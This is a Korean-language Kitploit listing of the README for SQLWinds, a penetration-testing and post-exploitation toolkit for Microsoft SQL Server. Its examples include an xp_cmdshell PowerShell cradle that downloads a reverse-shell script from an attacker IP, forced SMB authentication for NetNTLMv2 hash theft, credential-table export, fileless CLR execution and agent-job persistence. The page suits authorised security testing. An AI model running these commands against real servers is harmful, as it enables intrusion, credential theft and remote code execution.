Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
sqlwinds — SQLWinds - SQL Server 보안 평가 및 사후 침투 툴킷 | Kitploit
도구/GitHubGitHub/blue0x1/sqlwinds
Privilege EscalationPersistence MechanismsExploitationLateral MovementConfiguration AuditingData ExfiltrationPost-ExploitationPenetration TestingRed TeamingDatabase Security
GitHubblue0x1/sqlwinds
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

sqlwinds

SQLWinds - SQL Server 보안 평가 및 사후 침투 툴킷

저장소 보기

SQLWinds

SQL 보안 평가 및 사후 침투 도구 키트

SQLWinds는 Microsoft SQL Server의 보안 테스트와 익스플로잇을 위한 명령줄 도구입니다. 서버를 심층 분석하고, 권한을 상승시키고, 공격을 실행하고, 네트워크를 통해 피벗할 수 있는 대화형 환경을 제공하며, 인메모리 코드 실행 및 SCCM 데이터베이스 탐색과 같은 작업을 위한 특화된 명령을 포함합니다.


SQLWinds


📖 문서 및 리소스

Wiki Issues Releases

빠른 링크:

  • 전체 문서 및 위키 - 전체 사용 가이드 및 명령 참조
  • 이슈 신고 - 버그를 발견했거나 기능 요청이 있으신가요?
  • 최신 릴리스 - 최신 버전 다운로드

기능

  • 다양한 인증: SQL, Windows 통합 인증(--integrated), Kerberos 위임(--kerberos와 --user/--pass)을 지원합니다.
  • 포괄적인 열거:
    • 서버 정보, 데이터베이스, 테이블, 열, 사용자 및 권한.
    • 보안 구성 감사(xp_cmdshell, CLR, OLE 등).
    • 민감한 데이터 검색 및 비밀 정보 추출.
    • 연결된 서버(linked server) 열거 및 익스플로잇.
  • 사후 침투 및 횡적 이동:
    • 코드 실행: xp_cmdshell, OLE Automation Procedures(sp_oacreate) 및 CLR 통합을 활성화하고 사용.
    • 인메모리 CLR: 디스크에 파일을 떨어뜨리지 않고 .NET 어셈블리를 메모리에서 직접 로드 및 실행(:memclr).
    • 자격 증명 탈취: 릴레이 공격을 위해 UNC 경로로 SMB 인증을 강제(:unc_smb).
    • 레지스트리 상호작용: xp_regread를 통해 레지스트리 키와 값을 읽기.
    • 지속성: SQL 에이전트 작업(Job) 생성, 목록 확인 및 실행.
    • 데이터 유출: 파일 업로드/다운로드 및 쿼리 결과를 CSV/JSON으로 내보내기.
  • SCCM 데이터베이스 상호작용: (대상 데이터베이스가 SCCM인 경우)
    • SCCM 감지 및 버전/사이트 정보 보고.
    • 하드웨어, 소프트웨어, 컬렉션 및 배포 인벤토리.
    • SCCM 전용 보안 감사 수행.
  • Kerberos 분석: Kerberos 인증 문제를 해결하기 위해 대상과 연결된 SPN을 Active Directory에서 확인.
  • 인스턴스 검색: 도메인에서 사용 가능한 SQL Server 인스턴스 열거.
  • 고급 REPL: 자동 완성 및 명령 기록을 지원하는 대화형 환경.

설치 및 컴파일

빠른 빌드

리포지토리에는 Windows에서 쉽게 컴파일할 수 있는 build.bat 스크립트가 포함되어 있습니다:

root@kitploit:~
.\build.bat

컴파일된 SQLWinds.exe 실행 파일은 bin\Release\ 디렉터리에 배치됩니다.

수동 빌드

  1. .NET Framework(≥ 4.6.1) 또는 .NET SDK가 설치되어 있는지 확인합니다.
  2. 리포지토리를 클론합니다:
    root@kitploit:~
    git clone https://github.com/blue0x1/sqlwinds.git
    cd sqlwinds
    
  3. 솔루션을 컴파일합니다:
    root@kitploit:~
    msbuild SQLWinds.sln /p:Configuration=Release
    

사용법

기본 연결

root@kitploit:~
# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123

# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated

# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!

# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"

일반적인 명령줄 옵션

대화형 REPL 모드

root@kitploit:~
sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help

전체 REPL 명령 참조

예시: :plain으로 대용량 스크립트 사용

:plain 명령은 대용량 다중 라인 SQL 스크립트를 실행하는 데 필수적입니다.

root@kitploit:~
sqlwinds> :plain
SQL> 
SQL> BEGIN TRY
.....>     SELECT * FROM [VeryImportantTable];
.....>     EXEC sp_configure 'show advanced options', 1;
.....>     RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....>     SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute
  1. :plain을 입력하고 Enter 키를 누릅니다.
  2. 전체 SQL 스크립트를 붙여넣거나 입력합니다.
  3. 새 줄에 :execute를 입력하면 전체 스크립트가 실행되고, :cancel을 입력하면 중단됩니다.

예시

1. 감사

root@kitploit:~
SQLWinds.exe --server dc01 --integrated --security-audit 

2. 코드 실행을 위한 xp_cmdshell 활용

root@kitploit:~
SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"

3. 인메모리 CLR 실행(파일리스)

root@kitploit:~
# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"

4. SRelay를 통한 NetNTLMv2 해시 탈취

root@kitploit:~
# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share

5. SCCM 데이터베이스 익스플로잇

root@kitploit:~
SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"

6. 데이터 유출

root@kitploit:~
# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv

# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx

🤝 기여 및 지원

기여를 환영합니다! 개선 아이디어가 있거나 문제를 발견한 경우:

  1. 문서는 Wiki를 확인하세요
  2. 중복을 피하기 위해 기존 Issues를 검색하세요
  3. 제안 사항이나 버그 보고에 대한 자세한 정보와 함께 새 이슈를 작성하세요

⚠️ 면책 조항

이 도구는 공인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 소유하지 않았거나 테스트를 위한 명시적 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 개발자는 이 프로그램으로 인해 발생하는 오용이나 손해에 대해 책임을 지지 않으며 어떠한 책임도 부담하지 않습니다.


크레딧

blue0x1이(가) 개발했습니다.

도구 다운로드
OptionDescription
--server대상 서버(IP, 호스트 이름, 인스턴스). 필수.
--user, --passSQL 또는 Windows 인증용 자격 증명.
--integrated인증에 현재 Windows 토큰 사용.
--kerberosKerberos 인증 흐름 사용.
--spn-check대상 호스트의 SPN을 AD에서 확인.
--run-cmd "<SQL>"단일 SQL 명령을 실행하고 종료.
--run-file file.sql파일에서 SQL 스크립트를 실행하고 종료.
--info광범위한 서버 정보를 수집하여 표시.
--getinstance도메인에서 SQL 인스턴스를 검색하고 종료.
--list-dbs데이터베이스를 나열하고 종료.
--security-audit보안 감사를 수행하고 종료.
CommandDescriptionExample
:info서버에 대한 상세 정보 표시:info
:dbs모든 데이터베이스를 세부 정보와 함께 나열:dbs
:tables [db] [schema]데이터베이스/스키마의 테이블 나열:tables master dbo
:columns <table> [schema] [db]테이블의 열 나열:columns Users dbo MyDatabase
:users모든 SQL 로그인 및 데이터베이스 사용자 나열:users
:perms현재 사용자 권한 표시:perms
:audit보안 구성 감사 수행:audit
:search [term]민감한 데이터 검색:search password
:secrets잠재적인 비밀 정보 추출:secrets
:servicesSQL Server 서비스 계정 표시:services
:spn대상 호스트의 SPN 확인:spn
:enable_xp_cmdshellxp_cmdshell 활성화:enable_xp_cmdshell
:disable_xp_cmdshellxp_cmdshell 비활성화:disable_xp_cmdshell
:xp <command>xp_cmdshell을 통해 OS 명령 실행:xp whoami
:enable_oleOLE Automation 활성화:enable_ole
:disable_oleOLE Automation 비활성화:disable_ole
:ole_cmd <command>OLE를 통해 OS 명령 실행:ole_cmd "calc.exe"
:enable_clrCLR 통합 활성화:enable_clr
:disable_clrCLR 통합 비활성화:disable_clr
:deploy-clr <path>파일에서 CLR 어셈블리 배포:deploy-clr C:\Tools\cmd.dll
:list-assemblies배포된 CLR 어셈블리 나열:list-assemblies
:clr_execCLR 메서드 실행:clr_exec MyAssembly MyClass Method arg1
:memclr메모리에서 CLR 어셈블리 실행:memclr "C:\Tools\exec.dll" "Namespace.Class" "Method" "arg"
:remove-assembly <name>CLR 어셈블리 제거:remove-assembly MyAssembly
:list_linkservers연결된 서버 나열:list_linkservers
:linkrpc <srv> <cmd>연결된 서버를 통해 명령 실행:linkrpc LINKEDSRV "whoami"
:impersonate <login>SQL 로그인 가장:impersonate sa
:revert보안 컨텍스트 되돌리기:revert
:agent_jobSQL 에이전트 작업 관리:agent_job create MyJob "whoami"
:ls [path]SQL을 통해 디렉터리 나열:ls C:\Windows\Temp
:unc_smb <path>UNC로 SMB 인증 강제:unc_smb \\192.168.1.100\share
:plain대용량 SQL 스크립트 붙여넣기(아래 예시 참조)
:regread레지스트리 값 읽기:regread HKEY_LOCAL_MACHINE Software\Microsoft value
:regread_all키의 모든 값 나열:regread_all HKEY_LOCAL_MACHINE Software\Microsoft
:upload테이블에 파일 업로드:upload C:\file.txt MyTable
:download쿼리에서 바이너리 다운로드:download "SELECT file FROM blobs" out.bin
:exportcsv쿼리를 CSV로 내보내기:exportcsv "SELECT * FROM users" out.csv
:exportjson쿼리를 JSON으로 내보내기:exportjson "SELECT * FROM users" out.json
:sccm_infoSCCM 데이터베이스 감지:sccm_info
:sccm_inventorySCCM 인벤토리 표시:sccm_inventory
:sccm_collectionsSCCM 컬렉션 나열:sccm_collections "All Systems"
:sccm_deployments배포 표시:sccm_deployments
:sccm_clients클라이언트 나열:sccm_clients inactive
:sccm_auditSCCM 보안 감사:sccm_audit
:sccm_application앱 세부 정보 표시:sccm_application "Google Chrome"
help도움말 표시help
exitREPL 종료exit